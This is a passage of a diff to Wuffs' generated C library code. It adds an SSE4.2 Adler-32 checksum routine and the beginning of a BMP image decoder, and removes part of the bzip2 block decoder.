(int8_t)(8u), (int8_t)(9u), (int8_t)(10u), (int8_t)(11u), (int8_t)(12u), (int8_t)(13u), (int8_t)(14u), (int8_t)(15u), (int8_t)(16u)); ++ v_s1 = ((self->private_impl.f_state) & 0xFFFFu); ++ v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); ++ if (((uint64_t)(a_x.len)) > 5536u) { ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); ++ a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); + } ++ v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); ++ v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); ++ v_v1 = _mm_setzero_si128(); ++ v_v2j = _mm_setzero_si128(); ++ v_v2k = _mm_setzero_si128(); + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if ((v_c < 49u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); +- goto exit; +- } +- self->private_impl.f_max_incl_block_size = (((uint32_t)((v_c - 48u))) * 100000u); +- while (true) { +- v_tag = 0u; +- v_i = 0u; +- while (v_i < 48u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; +- } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- v_tag <<= 1u; +- v_tag |= ((uint64_t)((self->private_impl.f_bits >> 31u))); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- if (v_tag == 25779555029136u) { +- break; +- } else if (v_tag != 54156738319193u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- status = wuffs_bzip2__decoder__prepare_block(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_block_size = 0u; +- self->private_impl.f_decode_huffman_finished = false; +- self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[(self->private_data.f_huffman_selectors[0u] & 7u)]; +- self->private_impl.f_decode_huffman_ticks = 50u; +- self->private_impl.f_decode_huffman_section = 0u; +- self->private_impl.f_decode_huffman_run_shift = 0u; +- while ( ! self->private_impl.f_decode_huffman_finished) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bzip2__decoder__decode_huffman_fast(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; +- } else if (self->private_impl.f_decode_huffman_finished) { +- break; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- status = wuffs_bzip2__decoder__decode_huffman_slow(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } +- wuffs_bzip2__decoder__invert_bwt(self); +- self->private_impl.f_block_checksum_have = 4294967295u; +- if (self->private_impl.f_original_pointer >= self->private_impl.f_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; +- } +- self->private_impl.f_flush_pointer = (self->private_data.f_bwt[self->private_impl.f_original_pointer] >> 12u); +- self->private_impl.f_flush_repeat_count = 0u; +- self->private_impl.f_flush_prev = 0u; +- while (self->private_impl.f_block_size > 0u) { +- wuffs_bzip2__decoder__flush_fast(self, a_dst); +- if (self->private_impl.f_block_size <= 0u) { +- break; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_bzip2__decoder__flush_slow(self, a_dst); +- if (status.repr) { +- goto suspend; +- } +- } +- self->private_impl.f_block_checksum_have ^= 4294967295u; +- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_block_checksum_have != self->private_impl.f_block_checksum_want)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); +- goto exit; ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 32; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); ++ while (v_p.ptr < i_end0_p) { ++ v_q__left = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr)); ++ v_q_right = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u)); ++ v_v2j = _mm_add_epi32(v_v2j, v_v1); ++ v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q__left, v_zeroes)); ++ v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q_right, v_zeroes)); ++ v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q__left, v_weights__left))); ++ v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q_right, v_weights_right))); ++ v_p.ptr += 32; + } +- self->private_impl.f_final_checksum_have = (self->private_impl.f_block_checksum_have ^ ((self->private_impl.f_final_checksum_have >> 31u) | ((uint32_t)(self->private_impl.f_final_checksum_have << 1u)))); ++ v_p.len = 0; + } +- v_final_checksum_want = 0u; +- v_i = 0u; +- while (v_i < 32u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; ++ v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(177u))); ++ v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(78u))); ++ v_s1 += ((uint32_t)(_mm_cvtsi128_si32(v_v1))); ++ v_v2 = _mm_add_epi32(v_v2k, _mm_slli_epi32(v_v2j, (int32_t)(5u))); ++ v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(177u))); ++ v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(78u))); ++ v_s2 += ((uint32_t)(_mm_cvtsi128_si32(v_v2))); ++ v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); ++ if (v_tail_index < ((uint64_t)(a_x.len))) { ++ { ++ wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 1; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end0_p) { ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ v_p.len = 0; + } +- v_final_checksum_want <<= 1u; +- v_final_checksum_want |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; + } +- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_final_checksum_have != v_final_checksum_want)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); +- goto exit; +- } +- +- goto ok; +- ok: +- self->private_impl.p_do_transform_io[0] = 0; +- goto exit; ++ v_s1 %= 65521u; ++ v_s2 %= 65521u; ++ a_x = v_remaining; + } ++ self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +- goto suspend; +- suspend: +- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_transform_io[0].v_i = v_i; +- self->private_data.s_do_transform_io[0].v_tag = v_tag; +- self->private_data.s_do_transform_io[0].v_final_checksum_want = v_final_checksum_want; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) + +- return status; +-} ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) + +-// -------- func bzip2.decoder.prepare_block ++// ---------------- Status Codes Implementations + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__prepare_block( +- wuffs_bzip2__decoder* self, ++const char wuffs_bmp__error__bad_header[] = "#bmp: bad header"; ++const char wuffs_bmp__error__bad_rle_compression[] = "#bmp: bad RLE compression"; ++const char wuffs_bmp__error__truncated_input[] = "#bmp: truncated input"; ++const char wuffs_bmp__error__unsupported_bmp_file[] = "#bmp: unsupported BMP file"; ++const char wuffs_bmp__note__internal_note_short_read[] = "@bmp: internal note: short read"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_BMP__COMPRESSION_NONE 0u ++ ++#define WUFFS_BMP__COMPRESSION_RLE8 1u ++ ++#define WUFFS_BMP__COMPRESSION_RLE4 2u ++ ++#define WUFFS_BMP__COMPRESSION_BITFIELDS 3u ++ ++#define WUFFS_BMP__COMPRESSION_JPEG 4u ++ ++#define WUFFS_BMP__COMPRESSION_PNG 5u ++ ++#define WUFFS_BMP__COMPRESSION_ALPHABITFIELDS 6u ++ ++#define WUFFS_BMP__COMPRESSION_LOW_BIT_DEPTH 256u ++ ++#define WUFFS_BMP__RLE_STATE_NEUTRAL 0u ++ ++#define WUFFS_BMP__RLE_STATE_RUN 1u ++ ++#define WUFFS_BMP__RLE_STATE_ESCAPE 2u ++ ++#define WUFFS_BMP__RLE_STATE_LITERAL 3u ++ ++#define WUFFS_BMP__RLE_STATE_DELTA_X 4u ++ ++#define WUFFS_BMP__RLE_STATE_DELTA_Y 5u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_image_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_frame_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_frame( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_none( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_rle( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_bitfields( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_low_bit_depth( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_tell_me_more( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__read_palette( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__process_masks( ++ wuffs_bmp__decoder* self); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_bmp__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_bmp__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_bmp__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_bmp__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_bmp__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_bmp__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_bmp__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_bmp__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bmp__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_bmp__decoder__initialize( ++ wuffs_bmp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_bmp__decoder* ++wuffs_bmp__decoder__alloc(void) { ++ wuffs_bmp__decoder* x = ++ (wuffs_bmp__decoder*)(calloc(1, sizeof(wuffs_bmp__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_bmp__decoder__initialize( ++ x, sizeof(wuffs_bmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_bmp__decoder(void) { ++ return sizeof(wuffs_bmp__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func bmp.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_bmp__decoder__get_quirk( ++ const wuffs_bmp__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func bmp.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__set_quirk( ++ wuffs_bmp__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func bmp.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__decode_image_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_selector = 0; +- uint32_t v_sel_ff = 0; +- uint8_t v_movee = 0; + wuffs_base__status v_status = wuffs_base__make_status(NULL); + ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func bmp.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_image_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_magic = 0; ++ uint32_t v_width = 0; ++ uint32_t v_height = 0; ++ uint32_t v_planes = 0; ++ uint32_t v_n = 0; ++ uint32_t v_dst_pixfmt = 0; ++ uint32_t v_byte_width = 0; ++ + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -30999,797 +31613,1141 @@ wuffs_bzip2__decoder__prepare_block( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_prepare_block[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_prepare_block[0].v_i; +- v_selector = self->private_data.s_prepare_block[0].v_selector; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- self->private_impl.f_block_checksum_want = 0u; +- v_i = 0u; +- while (v_i < 32u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if ((self->private_impl.f_call_sequence != 0u) || (self->private_impl.f_io_redirect_fourcc == 1u)) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_io_redirect_fourcc != 0u) { ++ status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); ++ goto ok; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- self->private_impl.f_block_checksum_want <<= 1u; +- self->private_impl.f_block_checksum_want |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 8) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ v_magic = t_0; + } +- if ((self->private_impl.f_bits >> 31u) != 0u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__unsupported_block_randomization); ++ if (v_magic != 19778u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); + goto exit; + } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- self->private_impl.f_original_pointer = 0u; +- v_i = 0u; +- while (v_i < 24u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ self->private_data.s_do_decode_image_config.scratch = 8u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; + } +- self->private_impl.f_original_pointer <<= 1u; +- self->private_impl.f_original_pointer |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; ++ self->private_impl.f_padding = t_1; + } +- v_i = 0u; +- while (v_i < 256u) { +- self->private_data.f_presence[v_i] = 0u; +- v_i += 1u; ++ if (self->private_impl.f_padding < 14u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; + } +- v_i = 0u; +- while (v_i < 256u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ self->private_impl.f_padding -= 14u; ++ self->private_impl.f_io_redirect_pos = wuffs_base__u64__sat_add(((uint64_t)(self->private_impl.f_padding)), wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); 